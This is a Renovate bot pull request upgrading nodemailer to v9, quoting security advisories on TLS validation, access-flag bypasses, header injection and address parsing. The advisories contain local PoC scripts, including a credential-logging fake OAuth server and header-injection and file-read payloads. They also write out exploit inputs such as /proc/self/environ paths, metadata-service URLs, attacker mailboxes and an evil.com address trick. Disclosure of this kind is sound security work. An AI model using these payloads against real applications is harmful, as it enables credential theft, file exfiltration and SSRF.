Skip to content

fix(deps): update dependency nodemailer to v9 [security] - #164

Open
renovate[bot] wants to merge 1 commit into
developfrom
renovate/npm-nodemailer-vulnerability
Open

renovate[bot] wants to merge 1 commit into
developfrom
renovate/npm-nodemailer-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jun 16, 2026 •

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) ^8.0.0 → ^9.0.0 age confidence

Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception

GHSA-r7g4-qg5f-qqm2

More information

Details

Summary

Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.

As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.

An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:

  • OAuth client_secret
  • refresh_token
  • access tokens

The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.

Details

Root Cause

The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.

Inside:

lib/fetch/index.js

the request options contain:

rejectUnauthorized: false

This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.

As a result:

  • self-signed certificates are trusted
  • invalid CA chains are accepted
  • hostname validation is bypassed
  • attacker-controlled HTTPS endpoints are treated as trusted

This violates expected HTTPS security guarantees.

Vulnerable Flow

The vulnerable execution chain is:

OAuth2 Transport
↓
XOAuth2 token generation
↓
Internal HTTPS fetch client
↓
HTTPS request with rejectUnauthorized:false
↓
Attacker-controlled/self-signed endpoint trusted
↓
OAuth credentials transmitted

PoC

Environment

Mail API (app/server.js)
const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();

const app = express();

app.use(express.json());

const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: process.env.SMTP_PORT,
    secure: false,
    auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS
    }
});

app.post("/send", async (req, res) => {
    try {
        const { to, subject, text, html } = req.body;

        const info = await transporter.sendMail({
            from: `"Mailer" <${process.env.SMTP_USER}>`,
            to,
            subject,
            text,
            html
        });

        res.json({
            success: true,
            messageId: info.messageId
        });

    } catch (err) {
        console.error(err);
        res.status(500).json({
            success: false,
            error: err.message
        });
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Mailer running on port ${process.env.PORT}`);
});
Malicious HTTPS OAuth Server (poc/evil-oauth.js)
const https = require('https');
const fs = require('fs');

https.createServer({
    key: fs.readFileSync('./key.pem'),
    cert: fs.readFileSync('./cert.pem')
}, (req, res) => {

    console.log('\n==== REQUEST INTERCEPTED ====');
    console.log(req.method, req.url);

    let body = '';

    req.on('data', chunk => {
        body += chunk;
    });

    req.on('end', () => {

        console.log('\nPOST BODY:');
        console.log(body);

        res.writeHead(200, {
            'Content-Type': 'application/json'
        });

        res.end(JSON.stringify({
            access_token: 'attacker_token',
            expires_in: 3600
        }));
    });

}).listen(8443, () => {
    console.log('Malicious HTTPS OAuth server listening on 8443');
});
Nodemailer OAuth2 Test (test.js)
const nodemailer = require('./');

const transporter = nodemailer.createTransport({
    service: 'gmail',

    auth: {
        type: 'OAuth2',

        user: '[email protected]',

        clientId: 'CLIENT_ID_REDACTED',
        clientSecret: 'CLIENT_SECRET_REDACTED',

        refreshToken: 'REFRESH_TOKEN_REDACTED',

        accessUrl: 'https://localhost:8443/token'
    }
});

transporter.sendMail({
    from: '[email protected]',
    to: '[email protected]',
    subject: 'PoC',
    text: 'test'

}, (err, info) => {

    console.log('\n==== NODEMAILER RESULT ====');

    if (err) {
        console.error(err);
    } else {
        console.log(info);
    }
});

Steps to Reproduce

  • Start malicious HTTPS OAuth server:
  • node poc/evil-oauth.js
  • Run Nodemailer OAuth2 test:
  • node test.js
  • Observe intercepted OAuth2 request body on the malicious HTTPS server.

PIC
image

Impact
  • OAuth credential theft
  • unauthorized email access
  • persistent token abuse
  • unauthorized mail sending
  • mailbox compromise
  • interception/tampering of OAuth responses

The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer jsonTransport bypasses disableFileAccess and disableUrlAccess during message normalization

GHSA-wqvq-jvpq-h66f

More information

Details

Summary

Nodemailer's disableFileAccess and disableUrlAccess options are intended to prevent message content and attachments from reading local files or fetching URLs. The normal MIME streaming path enforces those options in MimeNode._getStream(). However, jsonTransport serializes messages by calling mail.normalize(), which resolves html, text, alternatives, calendar events, and attachments through shared.resolveContent() before MIME generation. shared.resolveContent() reads local files and fetches HTTP(S) URLs directly, without receiving or checking disableFileAccess or disableUrlAccess.

As a result, applications that use jsonTransport as a safe serializer or queue payload generator while relying on disableFileAccess / disableUrlAccess can still be made to read local files into the generated JSON output or make outbound HTTP requests when an attacker controls message content fields such as attachment path or text.href.

The same missing-enforcement root cause is also reachable before normal streaming when attachDataUrls causes _convertDataImages() to call mail.resolveContent(mail.data, 'html', ...); this should be fixed with the same access-control check.

Details

Source-to-sink evidence:

  • lib/nodemailer.js:42-45 selects JSONTransport when createTransport({ jsonTransport: true, ... }) is used.
  • lib/mailer/mail-message.js:34-39 copies transport-level disableFileAccess and disableUrlAccess options into mail.data.
  • lib/json-transport/index.js:52-76 serializes mail by calling mail.normalize((err, data) => ...).
  • lib/mailer/mail-message.js:46-135 implements resolveAll() and calls shared.resolveContent(...args, ...) for html, text, watchHtml, amp, icalEvent, alternatives, and attachments.
  • lib/shared/index.js:506-562 implements resolveContent().
  • lib/shared/index.js:540-541 fetches HTTP(S) content with nmfetch(content.path || content.href).
  • lib/shared/index.js:549-550 reads local files with fs.createReadStream(content.path).
  • shared.resolveContent() does not check disableFileAccess or disableUrlAccess and does not receive those flags.

Control path showing intended enforcement:

  • lib/mail-composer/index.js:358-359, lib/mail-composer/index.js:367-368, and sibling child-node creation paths pass disableUrlAccess and disableFileAccess into MimeNode.
  • lib/mime-node/index.js:51-52 stores those flags.
  • lib/mime-node/index.js:984-995 rejects file paths with EFILEACCESS when disableFileAccess is set.
  • lib/mime-node/index.js:998-1009 rejects URLs with EURLACCESS when disableUrlAccess is set.
  • test/mail-composer/mail-composer-test.js:1028-1044 includes a normal MIME-streaming test that expects file access to be blocked when disableFileAccess: true.

Additional same-root-cause variant:

  • lib/mailer/index.js:406-434 implements _convertDataImages() for attachDataUrls.
  • lib/mailer/index.js:407-410 calls mail.resolveContent(mail.data, 'html', ...) when attachDataUrls is enabled and mail.data.html is present.
  • Because mail.resolveContent() delegates to shared.resolveContent() at lib/mailer/mail-message.js:42-44, an object-form html: { path: ... } or html: { href: ... } can be resolved before the later MIME streaming enforcement sees the content.
  • This variant requires attachDataUrls to be enabled, so the main reportable default/common path is jsonTransport; both should be fixed by enforcing access flags inside the pre-resolution helper or passing policy into it.

Default/common exposure evidence:

  • jsonTransport is a shipped runtime transport selected by public createTransport options.
  • test/json-transport/json-transport-test.js:9-83 demonstrates that jsonTransport intentionally resolves file-backed html and attachments into JSON output.
  • disableFileAccess and disableUrlAccess are documented by code and tests as security controls and are copied from transport options into message data for all transports.
  • The bypass does not require test-only code, external infrastructure, unsupported configuration, or maintainer-only APIs.

False-positive screening and negative controls:

  • The local PoC used the same disableFileAccess: true and disableUrlAccess: true transport options for both jsonTransport and normal streamTransport controls.
  • jsonTransport read the temporary local fixture file and embedded the content in JSON despite disableFileAccess: true.
  • streamTransport with the same attachment and disableFileAccess: true rejected with EFILEACCESS.
  • jsonTransport fetched a local HTTP listener despite disableUrlAccess: true.
  • streamTransport with the same URL and disableUrlAccess: true rejected with EURLACCESS.
  • The local URL proof used only 127.0.0.1 and did not contact external infrastructure.

Affected version evidence and uncertainty:

  • Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
  • Git history shows jsonTransport has existed since commit d78b63b (2017-02-09, "Added test for json transport"), and disableFileAccess appears in historical setup commit 6218b8d (2017-01-31), but older versions were not dynamically tested during this audit.
  • Affected range is therefore recorded as unknown beyond the confirmed current version.
  • No patched version was identified in this checkout.

Severity rationale:

  • AV: The vulnerable library path is typically reached through an application-level message submission or rendering/queueing feature.
  • AC: A single message field using path or href triggers the bypass when jsonTransport is used.
  • PR: Conservative assumption that the attacker is a lower-privileged user of an application that accepts partially user-controlled message objects. Some deployments may expose this unauthenticated, but that was not assumed.
  • UI: No user interaction is required after the application accepts the message object.
  • S: The impact remains in the embedding application/library security scope.
  • C: Local file contents can be copied into the generated JSON output when the application later stores, logs, returns, or forwards that JSON.
  • I: The attacker can induce outbound HTTP requests to attacker-chosen or internal URLs from the application host when URL access was intended to be disabled.
  • A: No availability impact was demonstrated; the PoC used bounded local files and a localhost listener only.

Final self-review:

  • Reproduction evidence was generated locally from this checkout using only a temporary file under the OS temp directory and a local 127.0.0.1 HTTP listener.
  • The PoC included positive proof for file read and URL fetch, plus negative controls showing normal streamTransport rejects the same inputs with EFILEACCESS and EURLACCESS.
  • The proof is non-destructive, performs no external network traffic, and deletes its temporary fixture.
  • Reachability, package exposure, policy-enforcement bypass, same-root-cause variant, and false-positive controls were checked as described above.
  • The affected range is not overclaimed; only the current tested version is confirmed vulnerable.
PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const http = require('http');
const nodemailer = require('./');
const marker = 'NM_JSON_BYPASS_' + Date.now();
const fixture = path.join(os.tmpdir(), 'nodemailer-json-bypass-' + process.pid + '.txt');
fs.writeFileSync(fixture, marker);
function sendMail(transport, data) {
  return new Promise((resolve, reject) => transport.sendMail(data, (err, info) => err ? reject(err) : resolve(info)));
}
(async () => {
  const jsonTransport = nodemailer.createTransport({ jsonTransport: true, disableFileAccess: true, disableUrlAccess: true });
  const jsonInfo = await sendMail(jsonTransport, {
    from: '[email protected]',
    to: '[email protected]',
    subject: 'json file bypass',
    text: 'body',
    attachments: [{ filename: 'secret.txt', path: fixture }]
  });
  const jsonMessage = JSON.parse(jsonInfo.message);
  const decoded = Buffer.from(jsonMessage.attachments[0].content, 'base64').toString('utf8');
  console.log('JSON_FILE_BYPASS=' + (decoded === marker));
  console.log('JSON_FILE_CONTENT=' + decoded);

  const streamTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableFileAccess: true });
  try {
    await sendMail(streamTransport, {
      from: '[email protected]',
      to: '[email protected]',
      subject: 'stream control',
      text: 'body',
      attachments: [{ filename: 'secret.txt', path: fixture }]
    });
    console.log('STREAM_FILE_CONTROL=NO_ERROR');
  } catch (err) {
    console.log('STREAM_FILE_CONTROL=' + err.code);
  }

  const server = http.createServer((req, res) => {
    console.log('LOCAL_HTTP_REQUEST=' + req.method + ' ' + req.url);
    res.end('LOCAL_HTTP_MARKER');
  });
  await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
  const url = 'http://127.0.0.1:' + server.address().port + '/private';
  const jsonUrlInfo = await sendMail(jsonTransport, {
    from: '[email protected]',
    to: '[email protected]',
    subject: 'json url bypass',
    text: { href: url }
  });
  const jsonUrlMessage = JSON.parse(jsonUrlInfo.message);
  console.log('JSON_URL_BYPASS=' + (jsonUrlMessage.text === 'LOCAL_HTTP_MARKER'));
  const streamUrlTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableUrlAccess: true });
  try {
    await sendMail(streamUrlTransport, {
      from: '[email protected]',
      to: '[email protected]',
      subject: 'stream url control',
      text: { href: url }
    });
    console.log('STREAM_URL_CONTROL=NO_ERROR');
  } catch (err) {
    console.log('STREAM_URL_CONTROL=' + err.code);
  }
  server.close();
  fs.unlinkSync(fixture);
})().catch(err => { try { fs.unlinkSync(fixture); } catch (E) {} console.error(err && err.stack || err); process.exit(1); });
NODE

Observed output in this environment:

JSON_FILE_BYPASS=true
JSON_FILE_CONTENT=NM_JSON_BYPASS_1779802076150
STREAM_FILE_CONTROL=EFILEACCESS
LOCAL_HTTP_REQUEST=GET /private
JSON_URL_BYPASS=true
STREAM_URL_CONTROL=EURLACCESS

Expected vulnerable output: JSON_FILE_BYPASS=true, the printed temporary marker in JSON_FILE_CONTENT, a LOCAL_HTTP_REQUEST=GET /private line, and JSON_URL_BYPASS=true. Expected negative/control output: STREAM_FILE_CONTROL=EFILEACCESS and STREAM_URL_CONTROL=EURLACCESS, showing the same policy flags work in the normal streaming transport.

Cleanup: the PoC removes its temporary fixture file before exiting and closes the local HTTP server.

Impact

If an application uses jsonTransport to safely serialize or queue partially user-controlled Nodemailer message objects while relying on disableFileAccess / disableUrlAccess, an attacker can bypass those protections. The file-read variant can copy local file contents into the generated JSON message output. The URL-fetch variant can force outbound HTTP requests from the application host to local or internal services despite URL access being disabled. The impact depends on what message fields the embedding application exposes and where it stores or returns the generated JSON, but the local PoC confirms both protected sink operations are reached.

Suggested remediation

Enforce disableFileAccess and disableUrlAccess inside shared.resolveContent() or pass an explicit policy object into every pre-resolution call and reject protected path / href values before opening files or fetching URLs. Apply the same fix to jsonTransport normalization and the attachDataUrls pre-plugin path. Add regression tests showing jsonTransport returns EFILEACCESS / EURLACCESS for file and URL content when those flags are set, and that attachDataUrls cannot resolve object-form html.path / html.href when the corresponding access flag is disabled.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: CRLF injection in Nodemailer List-* header comments allows arbitrary message header injection

GHSA-268h-hp4c-crq3

More information

Details

Summary

Nodemailer constructs List-* headers from the caller-provided list message option using internally prepared header values. The list.*.comment field is inserted into those prepared values without removing CR (\r) or LF (\n) characters. Because prepared headers bypass the normal header-value sanitizer and are passed to mimeFuncs.foldLines(), a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message.

An application that lets a lower-privileged or unauthenticated user influence list.help.comment, list.unsubscribe.comment, list.subscribe.comment, list.post.comment, list.owner.comment, list.archive.comment, or list.id.comment can therefore be made to generate messages containing attacker-chosen additional headers.

Details

Source-to-sink evidence:

  • lib/mailer/mail-message.js:241-249 calls _getListHeaders(this.data.list) and adds each returned value with this.message.addHeader(listHeader.key, value).
  • lib/mailer/mail-message.js:253-296 builds each list header value as { prepared: true, foldLines: true, value: ... }.
  • For List-ID, lib/mailer/mail-message.js:272-279 copies value.comment into the generated header value. If mimeFuncs.isPlainText(comment) returns true, it wraps the comment in quotes rather than encoding or CRLF-normalizing it.
  • For the other List-* headers, lib/mailer/mail-message.js:283-288 copies value.comment into (<comment>). If mimeFuncs.isPlainText(comment) returns true, the value is not encoded or CRLF-normalized.
  • lib/mime-node/index.js:323-351 accepts the prepared header object.
  • lib/mime-node/index.js:533-540 trusts options.prepared; when foldLines is set, it pushes mimeFuncs.foldLines(key + ': ' + value) directly into the header block.
  • The normal header-value sanitizer path is bypassed because the value is marked prepared. By contrast, ordinary unprepared header values are normalized in the regular header-building path.
  • lib/mailer/mail-message.js:299-308 removes whitespace and angle brackets from list.*.url, so the confirmed injection source is the comment field, not the URL field.

Default/common exposure evidence:

  • lib/nodemailer.js:21-60 exposes the public createTransport(...).sendMail(...) flow used by the package.
  • examples/full.js:106-123 documents list.unsubscribe.comment and list.id.comment as normal message options.
  • The behavior is in shipped runtime code and does not require test-only code, non-default build steps, or undocumented internals.

False-positive screening and negative controls:

  • SMTP command construction was separately reviewed. Envelope sender/recipients reject CRLF before SMTP commands, EHLO names strip CRLF, SIZE is numeric, and DSN fields are encoded; no SMTP command-injection variant was confirmed.
  • Ordinary subject header input containing CRLF was normalized to a single Subject: header and did not create X-Injected in the local control case.
  • Address display names and MIME filename/content-type parameters were reviewed by a focused MIME/header audit and were encoded or CRLF-normalized in local checks.
  • prepared: true custom headers are an explicit low-level escape hatch, but this issue is different because Nodemailer itself creates prepared headers from the documented list.*.comment option.

Variant analysis:

Local testing confirmed the same root cause for comments in List-Help, List-Unsubscribe, List-Subscribe, List-Post, List-Owner, List-Archive, and List-ID. These should be fixed together by rejecting or normalizing CR/LF in list comments before prepared header generation, or by avoiding the prepared-header bypass for caller-controlled list values.

Affected version evidence and uncertainty:

  • Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
  • Git history shows _getListHeaders present in historical commits including 22fcff8 (v4.3.0) and related list-header work in 9b4f90a (v3.1.8), but older versions were not dynamically tested during this audit.
  • Affected range is therefore recorded as unknown beyond the confirmed current version.
  • No patched version was identified in this checkout.

Severity rationale:

  • AV: The vulnerable library path is reached through application-level message submission in typical networked applications that use Nodemailer.
  • AC: A single CRLF sequence in a documented message option triggers the issue.
  • PR: Conservative assumption that the attacker is a lower-privileged user of an application that exposes list metadata fields. Some applications could expose this to unauthenticated users, but that was not assumed.
  • UI: No maintainer or victim interaction is needed after the application accepts the message object.
  • S: The impact remains in the application/mail-generation security scope.
  • C/I: Injected headers can affect message metadata, mail-client/filter interpretation, and downstream mail-pipeline decisions. No SMTP envelope recipient injection or code execution was demonstrated.
  • A: No availability impact was demonstrated.

Final self-review:

  • Reproduction evidence was generated locally from this checkout with a safe in-memory streamTransport PoC and a negative Subject control case.
  • The PoC is non-destructive and does not send network traffic outside the process.
  • The observed output contains an actual CRLF-delimited injected header line.
  • Reachability, sanitizer bypass, package exposure, variants, and non-exploitable sibling paths were checked as described above.
  • The affected range is not overclaimed; only the current tested version is confirmed vulnerable.
PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const nodemailer = require('./');
const headersEnd = raw => raw.slice(0, raw.indexOf('\r\n\r\n'));
const hasStandaloneInjected = raw => /\r\nX-Injected: yes\)/.test(raw) || /\r\nX-Injected: yes\r\n/.test(raw);
(async () => {
  const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });
  const positive = await transport.sendMail({
    from: '[email protected]',
    to: '[email protected]',
    subject: 'control',
    list: { unsubscribe: { url: 'https://example.test/u', comment: 'ok\r\nX-Injected: yes' } },
    text: 'body'
  });
  const positiveRaw = positive.message.toString('utf8');
  console.log('POSITIVE_HAS_INJECTED=' + hasStandaloneInjected(positiveRaw));
  console.log('POSITIVE_LIST_LINE=' + JSON.stringify(headersEnd(positiveRaw).split('\r\n').filter(line => /^List-Unsubscribe:|^X-Injected:/.test(line)).join('\n')));

  const control = await transport.sendMail({
    from: '[email protected]',
    to: '[email protected]',
    subject: 'safe\r\nX-Injected: no',
    text: 'body'
  });
  const controlRaw = control.message.toString('utf8');
  console.log('CONTROL_HAS_INJECTED=' + /\r\nX-Injected: no\r\n/.test(controlRaw));
  console.log('CONTROL_SUBJECT=' + JSON.stringify(headersEnd(controlRaw).split('\r\n').filter(line => /^Subject:|^X-Injected:/.test(line)).join('\n')));

  const variantKeys = ['help', 'unsubscribe', 'subscribe', 'post', 'owner', 'archive', 'id'];
  const result = [];
  for (const key of variantKeys) {
    const info = await transport.sendMail({
      from: '[email protected]',
      to: '[email protected]',
      subject: 'variant ' + key,
      list: Object.assign({}, { [key]: { url: key === 'id' ? 'example.test' : 'https://example.test/' + key, comment: 'c\r\nX-Variant-' + key + ': yes' } }),
      text: 'body'
    });
    result.push(key + '=' + new RegExp('\\r\\nX-Variant-' + key + ': yes').test(info.message.toString('utf8')));
  }
  console.log('VARIANTS=' + result.join(','));
})().catch(err => { console.error(err && err.stack || err); process.exit(1); });
NODE

Observed output in this environment:

POSITIVE_HAS_INJECTED=true
POSITIVE_LIST_LINE="List-Unsubscribe: <https://example.test/u> (ok\nX-Injected: yes)"
CONTROL_HAS_INJECTED=false
CONTROL_SUBJECT="Subject: safe X-Injected: no"
VARIANTS=help=true,unsubscribe=true,subscribe=true,post=true,owner=true,archive=true,id=true

Expected vulnerable output: POSITIVE_HAS_INJECTED=true and all listed variants ending in =true. Expected negative/control output: CONTROL_HAS_INJECTED=false, showing the ordinary Subject header path does not create a separate injected header.

Cleanup: none required; the PoC uses only in-memory message generation.

Impact

A lower-privileged attacker who can influence list.*.comment fields in an application using Nodemailer can inject arbitrary additional headers into generated email messages. This can alter message semantics and downstream mail-client or mail-filter behavior, including adding attacker-controlled metadata headers. The PoC confirms header-boundary injection in the generated RFC822 output; it does not demonstrate SMTP command injection, recipient injection, or code execution.

Suggested remediation

Normalize or reject CR and LF in list.*.comment before constructing prepared List-* headers. Prefer sharing the same CRLF-neutralization behavior used for ordinary header values, or avoid using prepared: true for caller-controlled list comment content. Add regression tests for CRLF in every documented list comment-bearing field and verify that generated messages do not contain attacker-controlled standalone headers.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message

CVE-2026-82659 / GHSA-p6gq-j5cr-w38f

More information

Details

Message-level raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent message
  • Target: nodemailer/nodemailer, npm nodemailer v9.0.0 (HEAD 4e58450eb490e5097a74b2b2cce35a8d9e21856e)
  • Verdict: CONFIRMED (local PoC, no network)
Summary

Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes
untrusted message data to the library can forbid that data from reading local files or
fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent
content node honors these flags. The message-level raw option does not.

MailComposer.compile() builds the root MIME node for a raw message without threading the
two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' }
message is read / fetched anyway, and the file or HTTP-response bytes become the actual
message that is sent
by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor can choose.

This is the same vulnerability class as the already-published jsonTransport advisory
GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and
strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.

Affected component
  • lib/mail-composer/index.js:34-35 — root cause:
    if (this.mail.raw) {
        this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);
    }
    The MimeNode is constructed with only { newline }. Compare the sibling node builders
    _createMixed/_createAlternative/_createRelated/_createContentNode
    (lib/mail-composer/index.js:389-527), which all pass
    disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.
  • lib/mime-node/index.js:51-52 — the constructor derives this.disableFileAccess/
    this.disableUrlAccess solely from its own options; children do not inherit a parent's
    flags (createChild/appendChild, lines 175-194, pass options through verbatim).
  • lib/mime-node/index.js:812 — setRaw() content is resolved through this._getStream(this._raw).
  • lib/mime-node/index.js:984-1010 — _getStream reads the file (fs.createReadStream, 995) or
    fetches the URL (nmfetch, 1009) only guarded by this.disableFileAccess/this.disableUrlAccess,
    which on the raw root node are false.
  • Reached from the normal send flow at lib/mailer/index.js:188
    (mail.message = new MailComposer(mail.data).compile()), so every transport is affected.
Reachability gate (hop-by-hop)
  1. Source. Application calls transporter.sendMail({ raw: <userControlled> , to: <userControlled> })
    with disableFileAccess: true and/or disableUrlAccess: true configured on the transporter
    (forced onto mail.data in lib/mailer/mail-message.js:36-40) or per message. This is the
    exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was
    accepted.
  2. Guard — the access flags. For attachments the flag is enforced: a node created by
    _createContentNode carries disableFileAccess, so _getStream throws EFILEACCESS.
    Bypass: the raw branch (compile():34-35) never sets the flag on its node, so
    this.disableFileAccess === false and the guard at mime-node:985 / :999 is skipped.
    There is no other validation between mail.raw and the read; raw content shapes
    ({path}, {href}, stream, string, buffer) are accepted as-is by setRaw/_getStream.
  3. Sink. fs.createReadStream(content.path) (file disclosure) or
    nmfetch(content.href, …) (SSRF). The resulting bytes are emitted as the message body by
    createReadStream(), which every transport pipes to its destination
    (smtp-transport:233, smtp-pool/pool-resource:208, ses-transport:96, sendmail-transport:184,
    stream-transport:67).

No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.

Root cause

Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and
must be re-passed at every node creation. The raw-message shortcut in compile() omits it,
while all five other node builders include it. The flags are therefore enforced for every content
type except the one that lets the caller supply a complete message body by path/URL.

Exploit path

Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):

  1. Untrusted actor supplies raw: { path: '/proc/self/environ' } (or any server file:
    /app/.env, key material, etc.) and to: [email protected].
  2. compile() builds the raw root node without the flags; the transport reads the file and sends
    its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.
  3. Alternatively raw: { href: 'http://127.0.0.1:8080/admin' } or a cloud metadata URL →
    Nodemailer fetches it server-side and delivers the full response body in the email →
    full-response SSRF (no blind-channel limitation).
Impact
  • Confidentiality (High): arbitrary local file read disclosed in the outgoing message;
    full-response SSRF to internal/metadata endpoints, also disclosed in the message.
  • Integrity (Low): attacker-fetched/file content is injected into the delivered mail.
  • The two protective flags an application relies on to contain untrusted input are silently
    ineffective for raw.
Preconditions

The application (a) passes disableFileAccess and/or disableUrlAccess (the documented sandboxing
flags) and (b) lets untrusted input influence the raw field (and, for maximal disclosure, to).
No other configuration is required; all bundled transports are affected. This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.

Severity
  • AV — message data routinely originates over the network in the apps these flags protect.
  • AC — a single crafted raw object; deterministic.
  • PR — the actor is a user whose input the app already treats as untrusted (the reason the
    flags are set); not fully anonymous in the typical deployment.
  • UI — no victim interaction.
  • S — impact within Nodemailer's process scope.
  • C — arbitrary file read and full-response SSRF, both delivered to an attacker-chosen
    recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned
    JSON; here the bytes leave the system in the sent message, so C:H is warranted.)
  • I — attacker injects fetched/file bytes into the outgoing message.
  • A.
    Note: if a deployment fixes the recipient (to not attacker-controlled) the disclosure channel
    narrows and the rating degrades toward the sibling's Medium; the High rating reflects the
    reasonable worst case where raw and to are both untrusted.
Adversarial re-read (attempts to refute)
  1. "raw content is by-design trusted, so the flags shouldn't apply." Rejected: every other
    content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the
    maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set"
    model. The asymmetry — attachment {path} is blocked but raw:{path} is not — is the bug, and
    the PoC's CONTROL case proves the flag is otherwise effective on the same file.
  2. "The raw node inherits the flags via rootNode." Rejected by code and by PoC: compile():35
    constructs the node with { newline } only; MimeNode constructor sets
    this.disableFileAccess = !!options.disableFileAccess → false; rootNode is itself; no
    inheritance exists.
  3. "The PoC leaks for an unrelated reason." Rejected: the CONTROL message (attachments:[{path}],
    same file, same transporter) returns EFILEACCESS; only the raw:{path} message leaks. The
    sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only
    obtainable by an actual fetch. Both observables are uniquely bound to the bypass.
  4. "Maybe only jsonTransport (already reported) is affected." Rejected: the PoC uses
    streamTransport and the root cause is in MailComposer.compile() (mailer:188), shared by all
    transports; jsonTransport is a different (already-fixed) path.

I could not find any guard that blocks the chain; the finding survives.

Proof of concept (safe, benign)

findings/nodemailer/raw/poc-raw-fileaccess-bypass.js — local, no network egress (loopback only),
no destructive action. Output:

[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED

Run: node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js (exit 0 = confirmed).

Remediation

Thread the access policy onto the raw root node, exactly as the other builders do:

if (this.mail.raw) {
    this.message = new MimeNode('message/rfc822', {
        newline: this.mail.newline,
        disableFileAccess: this.mail.disableFileAccess,
        disableUrlAccess: this.mail.disableUrlAccess
    }).setRaw(this.mail.raw);
}

(Defense in depth: setRaw/_getStream could also refuse {path}/{href} raw content when either
flag is set, regardless of how the node was constructed.) Add a regression test asserting that
raw:{path} and raw:{href} reject with EFILEACCESS/EURLACCESS when the flags are set, mirroring
the attachment tests.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: Recipient-domain validation bypass via RFC 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain

GHSA-cc9r-2j5m-2m83

More information

Details

Summary

Nodemailer's email-address parser treats an RFC 5322 comment ( ... ) inside the domain as a point to concatenate the surrounding text, rather than as folding whitespace (CFWS) that terminates the domain. Consequently a recipient address such as [email protected](x)evil.com is parsed and delivered to good-corp.comevil.com (registrable domain comevil.com, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com.

